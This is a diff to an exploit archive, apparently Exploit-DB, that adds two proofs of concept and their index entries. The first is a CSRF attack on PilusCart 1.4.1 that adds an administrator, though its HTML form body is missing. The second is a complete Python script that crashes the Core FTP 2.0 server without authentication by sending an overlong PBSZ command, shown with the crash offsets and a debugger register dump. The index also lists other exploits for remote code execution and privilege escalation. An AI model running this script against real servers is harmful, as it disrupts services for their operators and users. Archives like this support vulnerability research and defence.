diff --git a/exploits/php/webapps/46531.html b/exploits/php/webapps/46531.html new file mode 100644 index 000000000..8ac6948a7 --- /dev/null +++ b/exploits/php/webapps/46531.html @@ -0,0 +1,38 @@ +# Exploit Title: PilusCart 1.4.1 - Cross-Site Request Forgery (Add Admin) +# Google Dork: N/A +# Date: 10-03-2019 +# Exploit Author: Gionathan "John" Reale +# Vendor Homepage: https://github.com/piluscart +# Software Link: https://sourceforge.net/projects/pilus/files/PiLUS/1.4.1/PiLUS-1.4.1-Ubiungu-stable.zip/download +# Version: 1.4.1 +# Tested on: ParrotOS +# CVE : N/A + +PilusCart 1.4.1 is vulnerable to CSRF attack meaning that if an admin user can be tricked to visit a crafted URL created by attacker (via spear phishing/social engineering), a form will be submitted that will add a new user as administrator. + + +PoC: + + + + + +
+ + + + + + + + + + + + +
+ + + \ No newline at end of file diff --git a/exploits/windows/dos/46532.py b/exploits/windows/dos/46532.py new file mode 100755 index 000000000..4886e59ef --- /dev/null +++ b/exploits/windows/dos/46532.py @@ -0,0 +1,79 @@ +# Exploit Title: Core FTP 2.0 build 653 - 'PBSZ' - Unauthenticated - Denial of Service (PoC) +# Date: 2019-03-12 +# Exploit Author: Hodorsec (hodorsec@protonmail.com / hodor@hodorsec.com) +# Vendor Homepage: http://www.coreftp.com/ +# Software Link: http://coreftp.com/server/download/archive/CoreFTPServer653.exe +# Version: Version 2.0, build 653, 32-bit +# Tested on: Windows 8.1 6.3 (build 9600) +# CVE: N/A + +# Description: +# CoreFTP 2.0 is vulnerable to a DoS attack via the PBSZ command. Ironically, this command is being used for "Protection Buffer Size" +# and CoreFTP responds unauthenticated. +# The PBSZ command in CoreFTP only allows for a certain length of the string to be vulnerable to a DoS. +# This script triggers the DoS and filling ECX with the intented buffer. +# Although NSEH/SEH is overwritten, the executable binary is SafeSEH protected and no other assemblies are referenced. + +# Replication: +# - Install CoreFTP and setup a domain with an IP and path +# - Start the service or click "Start" +# - No need to add users or set anything specific: just run the script and watch it crash + +# Crash as service: +# (7e0.bf4): Access violation - code c0000005 (first chance) +# First chance exceptions are reported before any exception handling. +# This exception may be expected and handled. +# *** ERROR: Module load completed but symbols could not be loaded for C:\Program Files (x86)\CoreFTPServer\coresrvr.exe +# eax=00000000 ebx=00a5b048 ecx=42424242 edx=00000000 esi=00000258 edi=00000000 +# eip=004491f5 esp=0128c4bc ebp=0129f684 iopl=0 nv up ei ng nz na po nc +# cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010282 +# coresrvr+0x491f5: +# 004491f5 83b92c08000000 cmp dword ptr [ecx+82Ch],0 ds:002b:42424a6e=???????? + +#!/usr/bin/env python +import sys, socket, struct, time + +if len(sys.argv) <= 2: + print "Usage: python " + sys.argv[0] + " [host] [port]" + exit() + +host = sys.argv[1] +port = int(sys.argv[2]) + +# Maximum length +maxlen = 211 + +# Offsets +crash_ecx = 199 +crash_nseh = 99 + +# Variables +prefix = "A" * crash_ecx +ecx = "B" * 4 # 004491f5; CMP DWORD PTR DS:[ECX+82c],0 +suffix = "C" * (maxlen - len(prefix + ecx)) + +# Payload +payload = prefix + ecx + suffix + +print "[+] Connecting to " + host + "\n" + +try: + print "[+] Sending payload with " + str(len(payload)) + " length message..." + + + req = ( + "PBSZ " + payload + ) + + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(2) + s.connect((host, port)) + s.send(req) + s.recv(1024) + s.close() + + time.sleep(0.5) +except Exception,e: + print "[!] Error occured: " + str(e) + print "[*] Crashed occured at buffer length: " + str(len(payload)) + sys.exit() \ No newline at end of file diff --git a/files_exploits.csv b/files_exploits.csv index 747551fce..d730990c8 100644 --- a/files_exploits.csv +++ b/files_exploits.csv @@ -6352,6 +6352,7 @@ id,file,description,date,author,type,platform,port 46503,exploits/android/dos/46503.txt,"Android - binder Use-After-Free via racy Initialization of ->allow_user_free",2019-03-06,"Google Security Research",dos,android, 46504,exploits/android/dos/46504.txt,"Android - getpidcon() Usage in Hardware binder ServiceManager Permits ACL Bypass",2019-03-06,"Google Security Research",dos,android, 46529,exploits/linux/dos/46529.c,"Linux Kernel 4.4 (Ubuntu 16.04) - 'snd_timer_user_ccallback()' Kernel Pointer Leak",2019-03-11,wally0813,dos,linux, +46532,exploits/windows/dos/46532.py,"Core FTP 2.0 build 653 - 'PBSZ' Denial of Service (PoC)",2019-03-12,Hodorsec,dos,windows,21 3,exploits/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation",2003-03-30,"Wojciech Purczynski",local,linux, 4,exploits/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Local Buffer Overflow",2003-04-01,Andi,local,solaris, 12,exploits/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,local,linux, @@ -40973,3 +40974,4 @@ id,file,description,date,author,type,platform,port 46526,exploits/jsp/webapps/46526.rb,"OpenKM 6.3.2 < 6.3.7 - Remote Command Execution (Metasploit)",2019-03-11,AkkuS,webapps,jsp, 46527,exploits/windows/webapps/46527.sh,"PRTG Network Monitor 18.2.38 - Authenticated Remote Code Execution",2019-03-11,M4LV0,webapps,windows,80 46528,exploits/php/webapps/46528.py,"Flexpaper PHP Publish Service 2.3.6 - Remote Code Execution",2019-03-11,redtimmysec,webapps,php, +46531,exploits/php/webapps/46531.html,"PilusCart 1.4.1 - Cross-Site Request Forgery (Add Admin)",2019-03-12,"Gionathan Reale",webapps,php,80